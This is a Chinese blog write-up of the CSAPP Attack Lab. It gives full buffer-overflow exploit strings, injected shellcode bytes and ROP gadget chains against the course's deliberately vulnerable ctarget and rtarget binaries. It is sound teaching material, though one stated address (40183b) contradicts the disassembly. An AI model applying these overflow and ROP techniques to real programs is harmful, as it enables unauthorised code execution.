《深入理解计算机系统》(CSAPP)实验四 —— Attack Lab

这是CSAPP的第四个实验,这个实验比较有意思,也比较难。通过这个实验我们可以更加熟悉GDB的使用和机器代码的栈和参数传递机制。

@[toc]

实验目的

  本实验要求在两个有着不同安全漏洞的程序上实现五种攻击。通过完成本实验达到:

  • 深入理解当程序没有对缓冲区溢出做足够防范时,攻击者可能会如何利用这些安全漏洞。

  • 深入理解x86-64机器代码的栈和参数传递机制。

  • 深入理解x86-64指令的编码方式。

  • 熟练使用gdb和objdump等调试工具。

  • 更好地理解写出安全的程序的重要性,了解到一些编译器和操作系统提供的帮助改善程序安全性的特性。

    做本次实验之前,建议好好阅读下本篇博文 面试官不讲武德,居然让我讲讲蠕虫和金丝雀!,理解缓冲区溢出时函数的返回值是如何被修改和精准定位的。

准备工作

  在官网下载得到实验所需文件解压后会得到五个不同的文件。对六个文件简要说明如下所示。

  README.txt:描述文件夹目录

  ctarget:一个容易遭受code injection攻击的可执行程序。

  rtarget:一个容易遭受return-oriented programming攻击的可执行程序。

  cookie.txt一个8位的十六进制码,用于验证身份的唯一标识符。

  farm.c:目标“gadget farm”的源代码,用于产生return-oriented programming攻击。

  hex2raw:一个生成攻击字符串的工具。

HEX2RAW期望由一个或多个空格分隔的两位十六进制值。所以如果你想创建一个十六进制值为0的字节,需要将其写为00。要创建单词0xdeadbeef应将“ ef be ad de”传递给HEX2RAW(请注意,小字节序需要反转)。

  编译环境:Ubuntu 16.04,gcc 5.4.0。

  注意:由于我们使用的是外网编译,所以在运行程序时加上-q参数。

内容简介

CTARGET和RTARGET从标准输入中读取字符串,使用的getbuf函数如下所示。

unsigned getbuf()
{
    char buf[BUFFER_SIZE];
    Gets(buf);
    return 1;
}

  函数Gets()类似于标准库函数gets(),从标准输入读入一个字符串,将字符串(带null结束符)存储在指定的目的地址。二者都只会简单地拷贝字节序列,无法确定目标缓冲区是否足够大以存储下读入的字符串,因此可能会超出目标地址处分配的存储空间。字符串不能包含字节值0x0a,这是换行符 \n 的ASCII码,Gets()遇到这个字节时会认为意在结束该字符串。

  如果用户输入并由getbuf读取的字符串足够短,则很明显getbuf将返回1,如以下执行示例所示:

image-20201118164523691

  当输入一个很长的字符串时,将会出现段错误,具体如下图所示:

image-20201118164726239

  如上图所示,出现了缓冲区溢出错误。我们可以利用缓冲区溢出来修改程序的返回值,使它指向我们要求的地址来完成攻击。

CTARGET和RTARGET都采用几个不同的命令行参数:

-h:打印可能的命令行参数列表

-q:本地测评,不要将结果发送到评分服务器

-i FILE:提供来自文件的输入,而不是来自标准输入的输入

代码注入攻击

Level 1

  对于第1个例程,将不会注入新代码,而是缓冲区溢出漏洞利用字符串将重定向程序来执行现有程序。在CTARGET文件中中调用了函数getbuf。当getbuf执行完return语句后,程序通常会接着向下执行第5行的内容。

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/qq_16933601/article/details/109818267

void test() 
{
    int val;
    val = getbuf();
    printf("NO explit. Getbuf returned 0x%x\n", val);
}

  如果我们想改变这种行为。在文件ctarget中,我们要把getbuf函数的返回值指向函数touch1,touch1代码如下所示:

void touch1() 
{
    vlevel = 1;
    printf("Touch!: You called touch1()\n");   
    validate(1);
    exit(0);
}

  执行 objdump -d rtarget > rtarget.d 命令,将rtarget反汇编看下getbuf和touch1的反汇编代码。

00000000004017a8 <getbuf>:
  4017a8:   48 83 ec 28             sub    $0x28,%rsp                      # 开辟40字节的空间
  4017ac:   48 89 e7                mov    %rsp,%rdi
  4017af:   e8 ac 03 00 00          callq  401b60 <Gets>
  4017b4:   b8 01 00 00 00          mov    $0x1,%eax
  4017b9:   48 83 c4 28             add    $0x28,%rsp
  4017bd:   c3                      retq                                   # 正常返回,跳转到test函数的第5行继续执行
  4017be:   90                      nop
  4017bf:   90                      nop
00000000004017c0 <touch1>:
  4017c0:   48 83 ec 08             sub    $0x8,%rsp
  4017c4:   c7 05 0e 3d 20 00 01    movl   $0x1,0x203d0e(%rip)        # 6054dc <vlevel>
  4017cb:   00 00 00 
  4017ce:   bf e5 31 40 00          mov    $0x4031e5,%edi
  4017d3:   e8 e8 f4 ff ff          callq  400cc0 <puts@plt>
  4017d8:   bf 01 00 00 00          mov    $0x1,%edi
  4017dd:   e8 cb 05 00 00          callq  401dad <validate>
  4017e2:   bf 00 00 00 00          mov    $0x0,%edi
  4017e7:   e8 54 f6 ff ff          callq  400e40 <exit@plt>

  由上述反汇编代码可以知道,我们只要修改getbuf结尾处的ret指令,将其指向touch1函数的起始地址40183b就可以。要想将其准确指向40183b,要首先将getbuf的40字节内容填充满,使其溢出,再将40183b覆盖getbuf原来的返回地址即可。(这里不明白的可以看下文章面试官不讲武德,居然让我讲讲蠕虫和金丝雀!

  攻击字符串如下所示,命名为attack1.txt。

00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
c0 17 40 00 00 00 00 00  

执行以下指令进行测试

./hex2raw < attack1.txt > attackraw1.txt
./ctarget -qi attackraw1.txt
image-20201118174203347

Level 2

  第2阶段涉及注入少量代码作为攻击字符串的一部分。在文件ctarget中,touch2的代码如下所示:

void touch2(unsigned val)
{
    vlevel = 2;     /* Part of validation protocol */
    if (val == cookie) {
        printf("Touch2!: You called touch2(0x%.8x)\n", val);
        validate(2);
    } else {
        printf("Misfire: You called touch2(0x%.8x)\n", val);
        fail(2);
    }
     exit(0);
}

  反汇编如下所示:

00000000004017ec <touch2>:
  4017ec:   48 83 ec 08             sub    $0x8,%rsp
  4017f0:   89 fa                   mov    %edi,%edx                  # val存在%rdi中
  4017f2:   c7 05 e0 3c 20 00 02    movl   $0x2,0x203ce0(%rip)        # 6054dc <vlevel>
  4017f9:   00 00 00 
  4017fc:   3b 3d e2 3c 20 00       cmp    0x203ce2(%rip),%edi        # 6054e4 <cookie>
  401802:   75 20                   jne    401824 <touch2+0x38>
  401804:   be 08 32 40 00          mov    $0x403208,%esi
  401809:   bf 01 00 00 00          mov    $0x1,%edi
  40180e:   b8 00 00 00 00          mov    $0x0,%eax
  401813:   e8 d8 f5 ff ff          callq  400df0 <__printf_chk@plt>
  401818:   bf 02 00 00 00          mov    $0x2,%edi
  40181d:   e8 8b 05 00 00          callq  401dad <validate>
  401822:   eb 1e                   jmp    401842 <touch2+0x56>
  401824:   be 30 32 40 00          mov    $0x403230,%esi
  401829:   bf 01 00 00 00          mov    $0x1,%edi
  40182e:   b8 00 00 00 00          mov    $0x0,%eax
  401833:   e8 b8 f5 ff ff          callq  400df0 <__printf_chk@plt>
  401838:   bf 02 00 00 00          mov    $0x2,%edi
  40183d:   e8 2d 06 00 00          callq  401e6f <fail>
  401842:   bf 00 00 00 00          mov    $0x0,%edi
  401847:   e8 f4 f5 ff ff          callq  400e40 <exit@plt>

  Level 2 和 Level 1 差别主要在Level 2 多了一个val参数,我们在跳转到Level 2 时,还要将其参数传递过去,让他认为是自己的cookie 0x59b997fa。

  因此,我们首先要将0x59b997fa赋值给%rdi,完成参数的传递。如何完成程序的跳转呢?在第一次ret的时候,将ret地址写为我们写好的攻击代码,在攻击代码中,将touch2的地址0x4017ec 压栈,汇编代码再ret到touch2。我们能完成这个攻击的前提是这个具有漏洞的程序在运行时的栈地址是固定的,不会因运行多次而改变,并且这个程序允许执行栈中的代码。汇编代码如下所示:

mov    $0x59b997fa,%rdi
pushq  $0x4017ec              #压栈,ret时会将0x4017ec弹出执行
ret

  使用如下指令将汇编代码反汇编

gcc -c attack2.s
objdump -d attack2.o > attack2.d

  反汇编代码如下所示:

0000000000000000 <.text>:
   0:   48 c7 c7 fa 97 b9 59    mov    $0x59b997fa,%rdi
   7:   68 ec 17 40 00          pushq  $0x4017ec
   c:   c3                      retq

  内存中存储这段代码的地方便是getbuf开辟的缓冲区,我们利用gdb查看此时缓冲区的起始地址。

image-20201118212308138

  注意:缓冲区地址为0x5561dca0(栈底),因为分配了一个0x28的栈,插入的代码在字符串首,即栈顶(低地址),所以地址最终要取0x5561dca0-0x28 = 0x5561dc78。大坑!大坑!大坑!

48 c7 c7 fa 97 b9 59 68 
ec 17 40 00 c3 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
//以上包含注入代码填充满整个缓冲区(40字节)以致溢出。
78 dc 61 55 00 00 00 00
//用缓冲区的起始地址覆盖掉原先的返回地址(注意字节顺序)。

  最终测试结果正确

image-20201118213633633

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/qq_16933601/article/details/109818267

Level 3

int hexmatch(unsigned val, char *sval)
{
    char cbuf[110];
    /* Make position of check string unpredictable */
    char *s = cbuf + random() % 100;
    /**/
    sprintf(s, "%.8x", val);         
    return strncmp(sval, s, 9) == 0;
}

void touch3(char *sval)
{
    vlevel = 3;
    if (hexmatch(cookie, sval)){
        printf("Touch3!: You called touch3(\"%s\")\n", sval);
        validate(3);
    } else {
        printf("Misfire: You called touch3(\"%s\")\n", sval);
        fail(3);
    }
    exit(0);
}

  与之前的类似,在getbuf函数返回的时候,执行touch3而不是test。touch3函数传入的是cookie的字符串表示。因此,我们要将%rdi设置为cookie的地址即字符串表示(0x59b997fa -> 35 39 62 39 39 37 66 61)。

00000000004018fa <touch3>:
  4018fa:   53                      push   %rbx
  4018fb:   48 89 fb                mov    %rdi,%rbx
  4018fe:   c7 05 d4 3b 20 00 03    movl   $0x3,0x203bd4(%rip)        # 6054dc <vlevel>
  401905:   00 00 00 
  401908:   48 89 fe                mov    %rdi,%rsi
  40190b:   8b 3d d3 3b 20 00       mov    0x203bd3(%rip),%edi        # 6054e4 <cookie>
  401911:   e8 36 ff ff ff          callq  40184c <hexmatch>
  401916:   85 c0                   test   %eax,%eax
  401918:   74 23                   je     40193d <touch3+0x43>
  40191a:   48 89 da                mov    %rbx,%rdx
  40191d:   be 58 32 40 00          mov    $0x403258,%esi
  401922:   bf 01 00 00 00          mov    $0x1,%edi
  401927:   b8 00 00 00 00          mov    $0x0,%eax
  40192c:   e8 bf f4 ff ff          callq  400df0 <__printf_chk@plt>
  401931:   bf 03 00 00 00          mov    $0x3,%edi
  401936:   e8 72 04 00 00          callq  401dad <validate>
  40193b:   eb 21                   jmp    40195e <touch3+0x64>
  40193d:   48 89 da                mov    %rbx,%rdx
  401940:   be 80 32 40 00          mov    $0x403280,%esi
  401945:   bf 01 00 00 00          mov    $0x1,%edi
  40194a:   b8 00 00 00 00          mov    $0x0,%eax
  40194f:   e8 9c f4 ff ff          callq  400df0 <__printf_chk@plt>
  401954:   bf 03 00 00 00          mov    $0x3,%edi
  401959:   e8 11 05 00 00          callq  401e6f <fail>
  40195e:   bf 00 00 00 00          mov    $0x0,%edi
  401963:   e8 d8 f4 ff ff          callq  400e40 <exit@plt>

  在touch3中调用了hexmatch函数,这个函数中又开辟了110个字节的空间。如果我们把cookie放在栈中,执行hexmatch函数可能会把cookie的数据覆盖掉。我们可以直接通过植入指令来修改%rsp栈指针的值。

fa 18 40 00 00 00 00 00  #touch3的地址
bf 90 dc 61 55 48 83 ec  #mov    edi, 0x5561dc90
30 c3 00 00 00 00 00 00  #sub    rsp, 0x30  ret
35 39 62 39 39 37 66 61  #cookie
00 00 00 00 00 00 00 00
80 dc 61 55              #stack top的地址+8
image-20201119092849518

返回导向编程攻击

  对程序RTARGET进行代码注入攻击比对CTARGET进行难度要大得多,因为它使用两种技术来阻止此类攻击:

  它使用栈随机化,以使堆栈位置在一次运行与另一次运行中不同。这使得不可能确定注入代码的位置。

  它会将保存堆栈的内存部分标记为不可执行,因此,即使可以将程序计数器设置为注入代码的开头,程序也会因分段错误而失败。

<img src="https://gitee.com/dongxingbo/Picture/raw/master//Blog/2020/%E5%8D%81%E4%B8%80%E6%9C%88/attack%E5%AE%9E%E9%AA%8C_c3%E8%BF%94%E5%9B%9E%E5%9C%B0%E5%9D%80.png" alt="image-20201119101626094" style="zoom:67%;" />

  幸运的是,聪明的人已经设计出了通过执行程序来在程序中完成有用的事情的策略。使用现有代码,而不是注入新代码。常用的是ROP策略, ROP的策略是识别现有程序中的字节序列,由一个或多个指令后跟指令ret组成。这种段称为gadget.。图2说明了如何设置堆栈以执行n个gadget的序列。在此图中,堆栈包含一系列gadget地址。每个gadget都包含一系列指令字节,其中最后一个是0xc3,对ret指令进行编码。当程序从该配置开始执行ret指令时,它将启动一系列gadget执行,其中ret指令位于每个gadget的末尾,从而导致程序跳至下一个开始。通过不断的跳转,拼凑出自己想要的结果来进行攻击的方式。(简单来说:就是利用现有程序的汇编代码,从不同的函数中挑选出自己想要的代码,通过不断跳转的方式将这些代码拼接起来组成我们需要的代码。)

  下面是实验手册给出的部分指令所对应的字节码,我们需要在rtarget文件中挑选这些指令去执行之前level2和level3的攻击。

<img src="https://gitee.com/dongxingbo/Picture/raw/master//Blog/2020/%E5%8D%81%E4%B8%80%E6%9C%88/attack%E5%AE%9E%E9%AA%8C_ROP%E6%8C%87%E4%BB%A4%E9%9B%86.png" alt="image-20201119101419358" style="zoom:67%;" />

<img src="https://gitee.com/dongxingbo/Picture/raw/master//Blog/2020/%E5%8D%81%E4%B8%80%E6%9C%88/attack%E5%AE%9E%E9%AA%8C_ROP%E6%8C%87%E4%BB%A4%E9%9B%862.png" alt="image-20201119101449467" style="zoom:67%;" />

Level 2

  这个实验与之前的Level 2 很相似,所以我们要做的就是将cookie的值赋值给%rdi,执行touch2。但是本题使用的是ROP攻击形式,不可能直接有movq $ 0x59b997fa,%rdi这样的代码。Write up提示可以用movq, popq等来完成这个任务。因此我们可以把 $0x59b997fa放在栈中,再popq %rdi,利用popq我们可以把数据从栈中转移到寄存器中,而这个恰好是我们所需要的。代码有了,那我们就去寻找gadget。

  思路确定了,接下来只需要根据Write up提供的encoding table来查找popq对应encoding是否在程序中出现了。很容易找到popq %rdi对应的编码5f在这里出现,并且下一条就是ret:

402b18:    41 5f                pop    %r15
402b1a:    c3                      retq   

  所以答案就是:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
19 2b 40 00 00 00 00 00 #pop %rdi
fa 97 b9 59 00 00 00 00 #cookie
ec 17 40 00 00 00 00 00 #touch2

  运行下结果如下所示

image-20201119153206287

Level 3

  这个实验是在之前Level3的基础上又增加了一个难度,具体要求是要用ROP跳转到touch3,并且传入一个和cookie一样的字符串。因为栈是随机化的,那么我们如何在栈地址随机化的情况下去获取我们放在栈中的字符串的首地址呢?我们只能通过操作%rsp的值来改变位置。在之前的Level 3 实验中也提到过,touch3函数会调用hexmatch函数,在hexmatch中会开辟110个字节的空间,如果字符串放在touch3函数返回地址的上方,那么cookie一定会被覆盖。因此,我们应该放在更高一点的位置,即使得hexmatch函数新开辟空间也够不到cookie字符串。所以,字符串的地址一定是%rsp 加上一个数。

  可是WriteUp里给的encoding table都是mov pop nop 双编码等指令,并没有加法,但是gadget farm中有一条自带的指令,具体如下所示:

00000000004019d6 <add_xy>:
  4019d6:   48 8d 04 37             lea    (%rdi,%rsi,1),%rax          # %rax = %rdi + %rsi
  4019da:   c3                      retq   

  我们可以通过这个函数来实现加法,因为lea (%rdi,%rsi,1) %rax就是%rax = %rdi + %rsi。所以,只要能够让%rdi和%rsi其中一个保存%rsp,另一个保存从stack中pop出来的偏移值,就可以表示cookie存放的地址,然后把这个地址mov到%rdi就大功告成了。

  对应Write up里面的encoding table会发现,从%rax并不能直接mov到%rsi,而只能通过%eax->%edx->%ecx->%esi来完成这个。所以,兵分两路:
   1.把%rsp存放到%rdi中
  2.把偏移值(需要确定指令数后才能确定)存放到%rsi中

  然后,再用lea那条指令把这两个结果的和存放到%rax中,再movq到%rdi中就完成了。

  值得注意的是,上面两路完成任务的寄存器不能互换,因为从%eax到%esi这条路线上面的mov都是4个byte的操作,如果对%rsp的值采用这条路线,%rsp的值会被截断掉,最后的结果就错了。但是偏移值不会,因为4个bytes足够表示了。

  最后结果:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ad 1a 40 00 00 00 00 00   #movq %rsp, %rax   
a2 19 40 00 00 00 00 00   #movq %rax, %rdi
ab 19 40 00 00 00 00 00   #popq %rax
48 00 00 00 00 00 00 00   #偏移值
dd 19 40 00 00 00 00 00   #mov %eax, %edx
34 1a 40 00 00 00 00 00   #mov %edx, %ecx
13 1a 40 00 00 00 00 00   #mov %ecx, %esi
d6 19 40 00 00 00 00 00   #lea (%rsi, %rdi, 1) %rax
a2 19 40 00 00 00 00 00   #movq %rax, %rdi
fa 18 40 00 00 00 00 00   #touch3
35 39 62 39 39 37 66 61   #cookie

参考https://zhuanlan.zhihu.com/p/36807783

  测试结果如下:

image

总结

  这几个实验挺有意思的,体验了一把黑客的感觉。最后一个实验还是有难度的,自己也参考网上其他人的解法。通过本次实验也加强了自己对函数调用栈,字节序,GDB,汇编的理解。X86有些指令用多了也就记住了,不需要刻意去记,熟能生巧!

  养成习惯,先赞后看!如果觉得写的不错,欢迎关注,点赞,转发,谢谢!

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/qq_16933601/article/details/109818267

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 158,560评论 4 361
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,104评论 1 291
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 108,297评论 0 243
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,869评论 0 204
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,275评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,563评论 1 216
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,833评论 2 312
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,543评论 0 197
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,245评论 1 241
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,512评论 2 244
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,011评论 1 258
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,359评论 2 253
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,006评论 3 235
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,062评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,825评论 0 194
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,590评论 2 273
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,501评论 2 268

推荐阅读更多精彩内容